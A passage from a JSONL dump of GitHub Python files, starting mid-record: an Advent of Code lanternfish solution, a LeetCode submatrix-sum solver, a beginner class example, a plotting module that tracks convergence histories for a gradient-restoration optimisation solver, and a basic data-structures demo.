open(\"06/test.txt\") as file:\n    data = file.read().split(\",\")\n\nfishes = [0] * 7 # fish with timers 0-6\nbabies = [0] * 2 # fish with timers 7 and 8. babies[0] is fish at time = 7 days. babies[1] is 8 days\ntimer_index = 0\ndays = 256\n\n# put initial fishies in `fishes` array\nfor f in data:\n    fishes[int(f)] += 1\n\nfor i in range(days):\n    index_for_time_0 = i % 7\n    new_fishes = fishes[index_for_time_0]\n    fishes[index_for_time_0] += babies[0] # add fish from 7 days to 6 days (actually add them to 0 days, because they'll be 6 days next round)\n    babies[0] = babies[1] # move fish from 8 days to 7 days\n    babies[1] = new_fishes # get new fish\n    # debug_print_fish_counts(i)\nprint(sum(fishes) + sum(babies))","repo_name":"BrandonMakin/advent-of-code-2021","sub_path":"06/06.py","file_name":"06.py","file_ext":"py","file_size_in_byte":1647,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"35836161741","text":"# https://leetcode.com/problems/number-of-submatrices-that-sum-to-target/\ndef find_num_of_submat(matrix, target):\n    rows, cols = len(matrix), len(matrix[0])\n    for row in matrix:\n        for idx in range(len(row) - 1):\n            row[idx + 1] += row[idx]\n    # print('*' * 80)\n    # print('iron man matrix', matrix)\n    res = 0\n    for st_c in range(cols):\n        for ed_c in range(st_c, cols):\n            sumt = 0\n            sum_dict = {}\n            sum_dict[0] = 1\n            for rw in range(rows):\n                sumt += matrix[rw][ed_c] - (matrix[rw][st_c - 1] if st_c > 0 else 0)\n                res += sum_dict.get(sumt - target, 0)\n                sum_dict[sumt] = sum_dict.get(sumt, 0) + 1\n    return res\n\n\nmatrix = [[0, 1, 0], [1, 1, 1], [0, 1, 0]]\nprint(find_num_of_submat(matrix, 0))\n","repo_name":"s-surineni/atice","sub_path":"leet_code/num_of_submatrices_that_sum_to_target_dp.py","file_name":"num_of_submatrices_that_sum_to_target_dp.py","file_ext":"py","file_size_in_byte":805,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"13151553218","text":"class human:\n    def __init__(self, age, gender, complexion=\"black\"):\n        self.age = age\n        self.gender = gender\n        self.complexion = complexion\n\n    def add_age(self, increase: int) -> int:\n        self.age += increase\n        return self.age\n\n    def sit(self):\n        print(f'human with {self.complexion} is now sitting down')\n\n    def menstruate(self):\n        if self.gender == \"female\":\n            print(\"I am now menstruating\")\n        else:\n            print(\"I am not able to menstruate\")\n\n\nhuman_one = human(18, \"queer\")\nprint(f'The human is {human_one.complexion} of age {human_one.age} and gender {human_one.gender}.')\nprint(human_one.sit())\n\nhuman_two = human(22, \"male\", \"asian\")\nprint(f'The human is {human_two.complexion} of age {human_two.age} and gender {human_two.gender}.')\nprint(human_two.menstruate())\nhuman_two.gender = \"female\"\nprint(human_two.menstruate())\n\nfemale_human = human(20, \"female\", \"asian\")\nprint(female_human.menstruate())\nprint(female_human.add_age(2))\n\n\n\n","repo_name":"tunjiprolific/oop","sub_path":"oop_human.py","file_name":"oop_human.py","file_ext":"py","file_size_in_byte":1010,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"72365599441","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Apr 11 18:24:24 2018\n\n@author: levi\n\"\"\"\n\nimport numpy\nimport matplotlib.pyplot as plt\n#import matplotlib.ticker as ticker\n\ndef declHist(self):\n    \"\"\"A method for declaring all the histories. \"\"\"\n\n    MaxIterRest = 100000\n    MaxIterGrad = 10000\n    MaxEvnt = 2*MaxIterRest + MaxIterGrad\n    # Gradient-Restoration EVent List\n    # (00-rest, 10-denied grad, 11-accepted grad)\n    self.MaxEvnt = MaxEvnt\n    self.EvntList = numpy.zeros(MaxEvnt,dtype=numpy.bool_)#'bool')\n    self.EvntIndx = 0\n    self.ContRest = 0\n    #self.GREvIndx = -1\n\n    # Basic maximum number of iterations for grad/rest.\n    # May be overridden in the problem definition\n\n    self.MaxIterRest = MaxIterRest\n    self.NIterRest = 0\n    self.histStepRest = numpy.zeros(MaxIterRest)\n    MaxHistP = int((MaxEvnt+1)/2)\n    self.histP = numpy.zeros(MaxHistP)\n    self.histPint = numpy.zeros(MaxHistP)\n    self.histPpsi = numpy.zeros(MaxHistP)\n\n    self.MaxIterGrad = MaxIterGrad\n    self.NIterGrad = 0\n\n    self.histStepGrad = numpy.zeros(MaxIterGrad)\n    self.histGSSstopMotv = numpy.zeros(MaxIterGrad,dtype=numpy.int8)\n    self.histQ = numpy.zeros(MaxIterGrad)\n    self.histQx = numpy.zeros(MaxIterGrad)\n    self.histQu = numpy.zeros(MaxIterGrad)\n    self.histQp = numpy.zeros(MaxIterGrad)\n    self.histQt = numpy.zeros(MaxIterGrad)\n\n    self.histI = numpy.zeros(MaxIterGrad)\n    self.histIorig = numpy.zeros(MaxIterGrad)\n    self.histIpf = numpy.zeros(MaxIterGrad)\n    self.histJ = numpy.zeros(MaxIterGrad)\n    self.histJLint = numpy.zeros(MaxIterGrad)\n    self.histJLpsi = numpy.zeros(MaxIterGrad)\n\n    self.histGRrate = numpy.zeros(MaxIterGrad)\n    self.histGaRrate = numpy.zeros(MaxIterGrad)\n    self.histGaGrRate = numpy.zeros(MaxIterGrad)\n    self.histObjEval = numpy.zeros(MaxIterGrad,dtype=numpy.int16)\n\ndef updtEvntList(self,evnt):\n    \"\"\" Update the event list.\n    This happens at every restoration, grad-reject or grad-accept.\n    Each event is represented by two bits:\n        00: restoration step\n        01: the first gradient step (begin of the first GR cycle)\n        10: gradient step rejected, trying again\n        11: gradient step accepted, starting new GR cycle\"\"\"\n\n    self.EvntIndx += 2\n    self.log.printL(\"\\nhist_sgra: new event (\"+str(int(self.EvntIndx/2)) + \\\n                    \") -- \" + evnt)\n    if evnt == 'rest': #00\n        # No alteration needed in the bits\n        self.ContRest += 1\n    elif evnt == 'init': #01\n        # second bit becomes true\n        self.EvntList[self.EvntIndx] = True\n        self.histGRrate[1] = self.ContRest\n        self.ContRest = 0\n    else:\n        self.EvntList[self.EvntIndx-1] = True\n        if evnt == 'gradOK': #11\n            # both bits become true\n            self.EvntList[self.EvntIndx] = True\n        else: #10\n            # Rejected gradient. Second bit stays false\n            pass\n        self.histGRrate[self.NIterGrad+1] = self.ContRest\n        self.ContRest = 0\n\ndef updtHistP(self,mustPlotPint=False):\n    \"\"\"Update the P histories.\n       This happens at every restoration, grad-reject or grad-accept.\"\"\"\n\n    P,Pint,Ppsi = self.calcP(mustPlotPint=mustPlotPint)\n    self.P = P\n    thisIndx = int((self.EvntIndx+1)/2)\n    self.histP[thisIndx] = P\n    self.histPint[thisIndx] = Pint\n    self.histPpsi[thisIndx] = Ppsi\n\ndef updtHistRest(self,alfa):\n    \"\"\"Update the restoration histories.\n        Currently only the restoration step is used.\"\"\"\n\n    NIterRest = self.NIterRest+1\n    self.NIterRest = NIterRest\n    self.histStepRest[NIterRest] = alfa\n\ndef showHistP(self):\n    \"\"\" Show the history of P, Pint and Ppsi.\"\"\"\n\n    # Total number of events\n    NEvnt = int((self.EvntIndx+1)/2) + 1\n    # array for plotting (x-axis)\n    Evnt = numpy.arange(0,NEvnt,1)\n\n    # the actual plots of P, Pint, Ppsi\n    if self.histP[Evnt].any() > 0:\n        plt.semilogy(Evnt,self.histP[Evnt],'b',label='P')\n\n    if self.histPint[Evnt].any() > 0:\n        plt.semilogy(Evnt,self.histPint[Evnt],'k',label='P_int')\n\n    if self.histPpsi[Evnt].any() > 0:\n        plt.semilogy(Evnt,self.histPpsi[Evnt],'r',label='P_psi')\n\n    # Assemble lists for the indexes (relative to the event list)\n    # where there is a gradient (init, accept, reject)\n\n    GradAcptIndxList = []\n    GradRjecIndxList = []\n    GradInitIndx = []\n    for i in range(1,NEvnt):\n        if self.EvntList[2*i-1] == 0:\n            if self.EvntList[2*i] == 1:\n                GradInitIndx = [i]\n        else:\n            if self.EvntList[2*i] == 1:\n                GradAcptIndxList.append(i)\n            else:\n                GradRjecIndxList.append(i)\n\n    # with the lists assembled, mark the points where there is a gradient\n    # (init, accept, reject)\n\n    if len(GradInitIndx)>0:\n        plt.semilogy(GradInitIndx,self.histP[GradInitIndx],'*',\n                 label='GradInit')\n    if len(GradAcptIndxList)>0:\n        plt.semilogy(GradAcptIndxList,\n                     self.histP[GradAcptIndxList],\n                     'ob', label='GradAccept')\n    if len(GradRjecIndxList)>0:\n        plt.semilogy(GradRjecIndxList,\n                     self.histP[GradRjecIndxList],\n                     'xb', label='GradReject')\n\n    # Finally, plot the P tolerance\n    plt.plot(Evnt,self.tol['P']+0.0*Evnt,'-.b',label='tolP')\n    plt.title(\"Convergence report on P\")\n    plt.grid(True)\n    plt.xlabel(\"Events\")\n    plt.ylabel(\"P values\")\n    plt.legend(loc=\"upper left\", bbox_to_anchor=(1,1))\n\n    self.savefig(keyName='histP',fullName='P convergence history')\n\n#def updtGradCont(self,alfa):\n#    \"\"\" Updates the gradient counter, as well as gradStep.\"\"\"\n#    self.log.printL(\"\\nhist_sgra: Updating grad counters.\")\n#    NIterGrad = self.NIterGrad+1\n#    self.NIterGrad = NIterGrad\n#\n#    self.histStepGrad[NIterGrad] = alfa\n#\n#    self.ContRest = 0\n#\n\ndef updtHistGrad(self,alfa,GSSstopMotv,mustPlotQs=False):\n    \"\"\" Updates the gradient histories.\n        This includes the Qs, Is, Js and gradStep. \"\"\"\n\n    NIterGrad = self.NIterGrad+1\n    self.log.printL(\"\\nhist_sgra: Updating histGrad.\")\n\n    #Q,Qx,Qu,Qp,Qt = self.calcQ(mustPlotQs=mustPlotQs)\n    self.histQ[NIterGrad] = self.Q\n    self.histQx[NIterGrad] = self.Qx; self.histQu[NIterGrad] = self.Qu\n    self.histQp[NIterGrad] = self.Qp; self.histQt[NIterGrad] = self.Qt\n\n    #J, J_Lint, J_Lpsi, I, Iorig, Ipf = self.calcJ()\n\n    self.histJ[NIterGrad] = self.J\n    self.histJLint[NIterGrad] = self.J_Lint\n    self.histJLpsi[NIterGrad] = self.J_Lpsi\n    self.histI[NIterGrad] = self.I\n    self.histIorig[NIterGrad] = self.Iorig\n    self.histIpf[NIterGrad] = self.Ipf\n\n    self.histStepGrad[NIterGrad] = alfa\n    # \"Stop motive\" codes:  0 - step rejected\n    #                       1 - local min found\n    #                       2 - step limit hit\n    #                       3 - too many evals\n    self.histGSSstopMotv[NIterGrad] = GSSstopMotv\n    self.NIterGrad = NIterGrad\n    self.ContRest = 0\n\ndef showHistQ(self,tolZoom=True,nptsMark=40):\n    \"\"\" Show the Q, Qx, Qu, Qp, Qt histories.\n    There is a huge part of this function dedicated to marking the events (grad init,\n    grad accept, grad reject) on top of the Q curve. The basic idea there is to try to\n    only mark events (points) until the limit 'nptsMark' supplied by the user is met.\n    If there are too many events to mark, the code omits \"redundant\" events, that is,\n    events equal to the events in between. In this way, an acceptance that occurred\n    exactly between two acceptances or a rejection that occurred between rejections\n    may not be marked. \"\"\"\n\n    # Assemble the plotting array (x-axis)\n    IterGrad = numpy.arange(1,self.NIterGrad+1,1)\n\n    # Perform the plots\n    if self.histQ[IterGrad].any() > 0:\n        # only the first point, to ensure the 'Q' label is the first\n        plt.semilogy(IterGrad[0],self.histQ[IterGrad[0]],'b',label='Q')\n\n    if self.histQx[IterGrad].any() > 0:\n        plt.semilogy(IterGrad-1,self.histQx[IterGrad],'k',label='Qx')\n\n    if self.histQu[IterGrad].any() > 0:\n        plt.semilogy(IterGrad-1,self.histQu[IterGrad],'r',label='Qu')\n\n    if self.histQp[IterGrad].any() > 0:\n        plt.semilogy(IterGrad-1,self.histQp[IterGrad],'g',label='Qp')\n\n    if self.histQt[IterGrad].any() > 0:\n        plt.semilogy(IterGrad-1,self.histQt[IterGrad],'y',label='Qt')\n\n    # Plot the tolerance line\n    plt.plot(IterGrad-1, self.tol['Q'] + 0.0 * IterGrad, '-.b', label='tolQ')\n\n    if self.histQ[IterGrad].any() > 0:\n        # plot it again, now to ensure it stays on top of the other plots!\n        plt.semilogy(IterGrad-1, self.histQ[IterGrad], 'b')\n\n    # Assemble lists for the indexes (relative to the gradient event list)\n    # where there is each gradient (init, accept, reject)\n\n    GradAcptIndxList, GradRjecIndxList, GradInitIndx = [], [], []\n    iGrad = 0\n    NEvnt = int((self.EvntIndx+1)/2) + 1\n    for i in range(1,NEvnt):\n        if self.EvntList[2*i-1] == 0:\n            if self.EvntList[2*i] == 1:\n                iGrad += 1\n                GradInitIndx = [iGrad]\n        else:\n            if self.EvntList[2*i] == 1:\n                iGrad += 1\n                GradAcptIndxList.append(iGrad)\n            else:\n                iGrad += 1\n                GradRjecIndxList.append(iGrad)\n\n    # Mark the first point(s?)\n    if len(GradInitIndx)>0:\n        plt.semilogy(numpy.array(GradInitIndx)-1, self.histQ[GradInitIndx],\n                     '*C0', label='GradInit')\n\n    # get number of acceptance and rejection iterations, figure out what events to mark\n    nGA, nGR = len(GradAcptIndxList), len(GradRjecIndxList)\n    isDecim = True #variable for indication of decimation (omission of points)\n    # preparing the arrays for removing some elements\n    newGradAcptIndxList = GradAcptIndxList.copy()\n    newGradRjecIndxList = GradRjecIndxList.copy()\n    if nGA + nGR <= nptsMark:\n        # not enough events for taking the trouble to omit anything. Carry on\n        isDecim = False\n    else:\n        # calculate \"overload rate\"\n        over = (nGA+nGR)/nptsMark\n        # theoretically, this \"period\" works for decimation\n        # (only mark 1 point every 'per')\n\n        #msg = \"\\nNumber of events = {} ({};{}), limit = {}\".format(nGA+nGR,nGA,nGR,\n        #                                                           nptsMark)\n        #msg += \"\\nOverload level: {}... Decimation time!\".format(over)\n        #msg += \"\\nThese are the lists:\"\n        #msg += \"\\nThis is GradAcptIndxList: \" + str(GradAcptIndxList)\n        #msg += \"\\nThis is GradRjecIndxList: \" + str(GradRjecIndxList)\n        #self.log.printL(msg)\n\n        # Search in Acceptance events\n        blockListA = [] # empty block list\n        blockA = [0,0] # first default block\n        nremA = 0 # number of possible removals in acceptance events\n        for ind in range(1,len(GradAcptIndxList)):\n            #self.log.printL(\"ind = \"+str(ind))\n            if GradAcptIndxList[ind] == GradAcptIndxList[blockA[1]]+1:\n                # ind belongs to the same block: grow it\n                blockA[1] = ind\n                #self.log.printL(\"Block growing! New block: \"+str(blockA))\n            else:\n                # ind does not belong to the same block. End it and begin another\n                #self.log.printL(\"Block is finished.\")\n                # if it is a meaningful block (3 or more equal events),\n                # add to block list\n                if blockA[1]-blockA[0] > 1:\n                    blockListA.append(blockA.copy())\n                    nremA += blockA[1]-blockA[0]-1\n                # create new block\n                blockA[0], blockA[1] = ind, ind\n                #self.log.printL(\"Creating new block: \" + str(blockA) +\n                #                \", event: \" + str(GradAcptIndxList[blockA[0]]))\n\n        #self.log.printL(\"Ok, search is finished.\")\n        # final block check\n        if blockA[1] - blockA[0] > 1:\n            blockListA.append(blockA.copy())\n            nremA += blockA[1] - blockA[0] - 1\n\n        # Search in Rejection events\n        blockListR = []  # empty block list\n        blockR = [0, 0]  # first default block\n        nremR = 0  # number of possible removals in rejection events\n        for ind in range(1, len(GradRjecIndxList)):\n            #self.log.printL(\"ind = \", str(ind))\n            if GradRjecIndxList[ind] == GradRjecIndxList[blockR[1]] + 1:\n                # ind belongs to the same block: grow it\n                blockR[1] = ind\n                #self.log.printL(\"Block growing! New block: \" + str(blockR))\n            else:\n                # ind does not belong to the same block. End it and begin another\n                #self.log.printL(\"Block is finished.\")\n                # if it is a meaningful block  (3 or more equal events),\n                # add to block list\n                if blockR[1] - blockR[0] > 1:\n                    blockListR.append(blockR.copy())\n                    nremR += blockR[1] - blockR[0] - 1\n                blockR[0], blockR[1] = ind, ind\n                #self.log.printL(\"Creating new block: \" + str(blockR) +\n                #                \", event: \" + str(GradRjecIndxList[blockR[0]]))\n        #self.log.printL(\"Ok, search is finished.\")\n        # final block check\n        if blockR[1] - blockR[0] > 1:\n            blockListR.append(blockR.copy())\n            nremR += blockR[1] - blockR[0] - 1\n\n        # Decision about which points to be actually removed. The objective of this\n        # section\n        # is to define a remove function rmFunc to remove or not each point from the\n        # plot\n        nrem = nremA + nremR #total number of points that can be omitted\n        #self.log.printL(\"\\nThese are the acceptance blocks:\\n\"+str(blockListA))\n        #self.log.printL(\"\\nThese are the rejection blocks:\\n\" + str(blockListR))\n        #self.log.printL(\"Total removable points: \"+str(nrem))\n\n        if nGA + nGR - nrem >= nptsMark:\n            # If the nptsMark target cannot be met even if all removable points are\n            # removed, no choice but to remove all of them...\n            #self.log.printL(\"All inner elements will be removed...\")\n            rmFunc = lambda x,y: True\n        else:\n            # Otherwise, find the minimum periodicity to ensure proper spacing of the\n            # dots in the plot.\n            # in order to avoid too few points, or concentrated and sparse regions,\n            # try to decimate the points (mark 1 acceptance for each 'per').\n            perMin = int(numpy.ceil(nremA/(nptsMark+nrem-nGA-nGR)))\n            #self.log.printL(\"Minimum periodicty: \"+str(perMin))\n            rmFunc = lambda x,y : (x - y + 1) % perMin > 0\n\n        # actual removal of points (acceptance)\n        # Inner points are removed according to the rmFunc set above\n        for blockA in blockListA:\n             #self.log.printL(\"Removing inner block elements from acceptance list.\")\n             for k in range(blockA[0] + 1, blockA[1]):\n                 if rmFunc(k,blockA[0]):\n                    newGradAcptIndxList.remove(GradAcptIndxList[k])\n                    nGA -= 1\n        # actual removal of points (rejection). All inner points are removed\n        for blockR in blockListR:\n             #self.log.printL(\"Removing inner block elements from rejection list.\")\n             for k in range(blockR[0] + 1, blockR[1]):\n                 newGradRjecIndxList.remove(GradRjecIndxList[k])\n                 nGR -= 1\n\n    # FINALLY, the plots of the event points themselves\n    if nGA>0:\n        # mark just the first acceptance event, for proper labeling\n        plt.semilogy(newGradAcptIndxList[0]-1,\n                     self.histQ[newGradAcptIndxList[0]], 'ob',\n                     label='GradAccept')\n        for k in range(1,nGA):\n            # mark the remaining acceptance events\n            plt.semilogy(newGradAcptIndxList[k]-1,\n                         self.histQ[newGradAcptIndxList[k]],'ob')\n\n    if nGR>0:\n        # mark just the first rejection event, for proper labeling\n        plt.semilogy(GradRjecIndxList[0]-1, self.histQ[GradRjecIndxList[0]],\n                     'xC0', label='GradReject')\n        for k in range(1, nGR):\n            # mark the remaining rejection events\n            plt.semilogy(newGradRjecIndxList[k]-1,\n                         self.histQ[newGradRjecIndxList[k]],'xC0')\n\n    # make sure the star is visible, by marking it again!\n    if len(GradInitIndx)>0:\n        plt.semilogy(numpy.array(GradInitIndx)-1,\n                     self.histQ[GradInitIndx], '*C0')\n\n    if isDecim:\n        plt.title(\"Convergence report on Q\\n(some redundant events not shown)\")\n    else:\n        plt.title(\"Convergence report on Q\")\n\n    # If applicable, remove from the plot everything that is way too small\n    if tolZoom:\n        plt.ylim(ymin=(self.tol['Q'])**2)\n    plt.grid(True)\n    plt.xlabel(\"Gradient iterations\")\n    plt.ylabel(\"Q values\")\n    plt.legend(loc=\"upper left\", bbox_to_anchor=(1,1))\n\n    self.savefig(keyName='histQ',fullName='Q convergence history')\n\ndef showHistI(self,tolZoom=True):\n    IterGrad = numpy.arange(0,self.NIterGrad+1,1)\n    # Get first and final values of I\n    # Ok, technically it is the second value of I because the first one may\n    # not be significant due to a (possibly) high P value associated with the\n    # first guess.\n    I0, I = self.histI[1], self.histI[self.NIterGrad]\n    Iorig = self.histIorig[self.NIterGrad]\n    Ipf = self.histIpf[self.NIterGrad]\n    titl = \"Convergence report on I\\nFinal values: (Iorig,Ipf) = \" + \\\n           \"({:.4E}, {:.4E})\".format(Iorig,Ipf)\n    if self.histIpf[IterGrad].any() > 0.:\n        plt.plot(IterGrad, self.histI[IterGrad], label='I')\n        plt.plot(IterGrad,self.histIorig[IterGrad],label='Iorig')\n        plt.plot(IterGrad,self.histIpf[IterGrad],label='Ipf')\n    else:\n        titl += \"\\n(Ipf omitted: identically zero)\"\n        plt.plot(IterGrad, self.histI[IterGrad], label='I')\n    # If applicable, remove from the plot everything that is way too small\n    if tolZoom:\n        plt.ylim(ymin=min([min(self.histI[IterGrad]), I-(I0-I)]))\n    plt.grid(True)\n    plt.title(titl)\n    plt.xlabel(\"Gradient iterations\")\n    plt.ylabel(\"I values\")\n    plt.legend()\n\n    self.savefig(keyName='histI',fullName='I convergence history')\n\ndef showHistQvsI(self, tolZoom=True, nptsMark=10):\n    \"\"\"Plot a curve of Q against I\n    (which should be strictly descending, hence a proper variable for plotting...)\"\"\"\n\n    # Assemble the plotting array (x-axis)\n    IterGrad = numpy.arange(1,self.NIterGrad+1,1)\n    # I reduction, %, w.r.t. the first actual value of I.\n    # It is best to use I[1] instead of I[0] because the latter could be a very low\n    # value due to a possibly high P value.\n    Ired = 100*(self.histI[1] - self.histI)/self.histI[1]\n\n    # Perform the plots\n    if self.histQ[IterGrad].any() > 0:\n        plt.semilogy(Ired[IterGrad],self.histQ[IterGrad],'b',label='Q')\n\n    if self.histQx[IterGrad].any() > 0:\n        plt.semilogy(Ired[IterGrad],self.histQx[IterGrad],'k',label='Qx')\n\n    if self.histQu[IterGrad].any() > 0:\n        plt.semilogy(Ired[IterGrad],self.histQu[IterGrad],'r',label='Qu')\n\n    if self.histQp[IterGrad].any() > 0:\n        plt.semilogy(Ired[IterGrad],self.histQp[IterGrad],'g',label='Qp')\n\n    if self.histQt[IterGrad].any() > 0:\n        plt.semilogy(Ired[IterGrad],self.histQt[IterGrad],'y',label='Qt')\n\n    # mark points (use supplied value of the number of points themselves)\n    if nptsMark > self.NIterGrad:\n        nptsMark = self.NIterGrad\n    per = self.NIterGrad // nptsMark # period\n    # mark the first point\n    plt.semilogy(Ired[1], self.histQ[1], 'ob')\n    # mark each point\n    for k in range(1, nptsMark + 1):\n        plt.semilogy(Ired[k*per],self.histQ[k*per],'ob')\n    # mark the last point\n    plt.semilogy(Ired[self.NIterGrad],self.histQ[self.NIterGrad],'ob')\n\n    # Draw the Q tolerance line\n    plt.plot(Ired[IterGrad],self.tol['Q']+0.0*IterGrad,'-.b',label='tolQ')\n\n    msg = \"Convergence: Q vs I behavior\\nCircles mark points every \" + \\\n          \"{} grad iterations\".format(per)\n    plt.title(msg)\n    # If applicable, remove from the plot everything that is way too small\n    if tolZoom:\n        plt.ylim(ymin=(self.tol['Q'])**2)\n    plt.grid(True)\n    plt.xlabel(\"I reduction, % (w.r.t. I0 = {:.4E})\".format(self.histI[1]))\n    plt.ylabel(\"Q values\")\n    plt.legend(loc=\"upper left\", bbox_to_anchor=(1,1))\n\n    self.savefig(keyName='histQvsI',fullName='Q vs. I convergence history')\n\ndef showHistGradStep(self):\n    IterGrad = numpy.arange(1,self.NIterGrad,1)\n\n    fig, ax1 = plt.subplots()\n    color = 'tab:blue'\n    ax1.set_xlabel(\"Gradient iterations\")\n    ax1.set_ylabel('Step values',color=color)\n    ax1.semilogy(IterGrad,self.histStepGrad[IterGrad],color=color,\n                 label='Step values')\n    ax1.tick_params(axis='y',labelcolor=color)\n    ax1.grid(True)\n    ax1.set_title(\"Gradient step history\")\n\n    ax2 = ax1.twinx()\n    color = 'tab:red'\n    ax2.set_ylabel('Step search stop motive',color=color)\n    labl = '\"Stop motive\" codes:\\n' + \\\n           '0 - step rejected\\n' + \\\n           '1 - local min found\\n' + \\\n           '2 - step limit hit\\n' + \\\n           '3 - too many evals'\n    ax2.plot(IterGrad,self.histGSSstopMotv[IterGrad],color=color,\n                 label=labl)\n    ax2.tick_params(axis='y',labelcolor=color)\n    #ax2.yaxis.set_major_locator(ticker.IndexLocator(base=1., offset=1.))\n    ax2.grid(True)\n    ax2.legend(loc=\"upper left\", bbox_to_anchor=(1.1,1))\n\n    fig.tight_layout()\n\n    self.savefig(keyName='histGradStep',fullName='GradStep history')\n\ndef showHistGRrate(self):\n    \"\"\"Show the history of the GR rate (rests per grad).\n        It must begin at 1, there is no such thing as an \"initial GR rate\". \"\"\"\n\n    IterGrad = numpy.arange(1,self.NIterGrad+1,1)\n\n    #if self.histGRrate[IterGrad].any() > 0:\n    plt.title(\"Gradient-restoration rate history\")\n    plt.plot(IterGrad-1,self.histGRrate[IterGrad])\n    plt.grid(True)\n    plt.xlabel(\"Gradient iterations\")\n    plt.ylabel(\"Restorations per gradient\")\n\n    self.savefig(keyName='histGRrate',fullName='Grad-Rest rate history')\n    #else:\n    #    self.log.printL(\"showHistGRrate: No positive values. Skipping...\")\n\ndef showHistObjEval(self,onlyAcpt=True):\n    \"\"\" Show the history of object evaluations\"\"\"\n\n    # The next calculations assume a minimum number of iterations.\n    # If this number is not met, leave now.\n    if self.NIterGrad < 2:\n        self.log.printL(\"showHistObjEval: no gradient iterations, leaving.\")\n        self.GSStotObjEval = 0\n        self.GSSavgObjEval = 0\n        return False\n\n    # \"onlyAcpt\": supress the items corresponding to the rejections\n    if onlyAcpt:\n\n        indPlot = list()\n        noRejc = False\n        for ind in range(1, self.NIterGrad):\n            if self.histGSSstopMotv[ind] == 0:\n                # rejection!\n                if noRejc:\n                    # new rejection! Flag it\n                    noRejc = False\n            else:\n                # no rejection, record previous index\n                indPlot.append(ind - 1)\n                if not noRejc: # recovery from rejection, reset flag\n                    noRejc = True\n\n        # remove the index 0\n        indPlot.remove(0)\n        # include the last index\n        indPlot.append(self.NIterGrad-1)\n\n        # Now plot the evaluations\n        plt.plot(range(1,len(indPlot)+1), self.histObjEval[indPlot],\n                 label = 'Total evaluations')\n        totEval = sum(self.histObjEval[indPlot])\n        avgEval = totEval / len(indPlot)\n\n        # Mark the points with rejections\n        KeepLabl = True\n        for i in range(1,len(indPlot)):\n            if indPlot[i] > indPlot[i-1]+1:\n                if KeepLabl:\n                    # label only the first point\n                    plt.plot(i+1, self.histObjEval[indPlot[i]], 'xr',\n                             label='Rejections included')\n                    KeepLabl = False\n                else:\n                    plt.plot(i+1, self.histObjEval[indPlot[i]], 'xr')\n\n        plt.xlabel(\"Accepted gradient iterations\")\n        plt.ylabel(\"Obj. evaluations per gradient\")\n    else:\n        IterGrad = numpy.arange(1, self.NIterGrad, 1)\n        plt.plot(IterGrad, self.histObjEval[IterGrad], label='Obj. evaluations')\n        totEval = sum(self.histObjEval[IterGrad])\n        avgEval = totEval / (self.NIterGrad-1)\n        KeepLabl = True\n\n        for ind in range(1, self.NIterGrad):\n            if self.histGSSstopMotv[ind] == 0:\n                if KeepLabl:\n                    plt.plot(ind-1,self.histObjEval[ind-1],'xr',\n                             label='Rejections')\n                    KeepLabl = False # label only the first one\n                else:\n                    plt.plot(ind-1,self.histObjEval[ind-1],'xr')\n\n        plt.grid(True)\n        plt.xlabel(\"Gradient iterations\")\n        plt.ylabel(\"Obj. evaluations per gradient\")\n    plt.title(\"Objective function evaluation history\\n\"\n              \"Total evaluations = {}, average = {:.3G}\".format(totEval,avgEval))\n    plt.grid(True)\n    # No need for legend if there is just the first curve...\n    if not KeepLabl:\n        plt.legend()\n\n    # put the statistics in the 'sol' object for easier post-processing\n    self.GSStotObjEval = totEval\n    self.GSSavgObjEval = avgEval\n\n    # proceed to save the figure\n    self.savefig(keyName='histObjEval',\n                 fullName='Objective function evaluation history')\n\n\ndef copyHistFrom(self,sol_from):\n    self.EvntList = sol_from.EvntList\n    self.EvntIndx = sol_from.EvntIndx\n    self.ContRest = sol_from.ContRest\n\n    self.histP = sol_from.histP\n    self.histPint = sol_from.histPint\n    self.histPpsi = sol_from.histPpsi\n    self.histStepRest = sol_from.histStepRest\n    self.NIterRest = sol_from.NIterRest\n\n    self.histQ = sol_from.histQ\n    self.histQx = sol_from.histQx\n    self.histQu = sol_from.histQu\n    self.histQp = sol_from.histQp\n    self.histQt = sol_from.histQt\n\n    self.histI = sol_from.histI\n    self.histIorig = sol_from.histIorig\n    self.histIpf = sol_from.histIpf\n    self.histJ = sol_from.histJ\n    self.histJLint = sol_from.histJLint\n    self.histJLpsi = sol_from.histJLpsi\n\n    self.histGRrate = sol_from.histGRrate\n    self.histStepGrad = sol_from.histStepGrad\n    self.histGSSstopMotv = sol_from.histGSSstopMotv\n    self.NIterGrad = sol_from.NIterGrad\n","repo_name":"araujolma/SOAR","sub_path":"hist_sgra.py","file_name":"hist_sgra.py","file_ext":"py","file_size_in_byte":26292,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"3"}
+{"seq_id":"36729271330","text":"# Dictionary example\nstudent_grades = {\n    'Alice': 85,\n    'Bob': 72,\n    'Charlie': 90,\n}\n\n# Tuple example\ncoordinates = (10, 20)\n\n# List example\nfruits = ['apple', 'banana', 'orange']\n\n# Array example (using NumPy library)\nimport numpy as np\ndata_array = np.array([1, 2, 3, 4, 5])\n\nprint(\"Student grades:\", student_grades)\nprint(\"Coordinates:\", coordinates)\nprint(\"Fruits:\", fruits)\nprint(\"Data array:\", data_array)\n","repo_name":"MadhavMadan336/personal-program","sub_path":"Python/Class/simple program/dictonary program/list_dictionary_tuple_array.py","file_name":"list_dictionary_tuple_array.py","file_ext":"py","file_size_in_byte":420,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
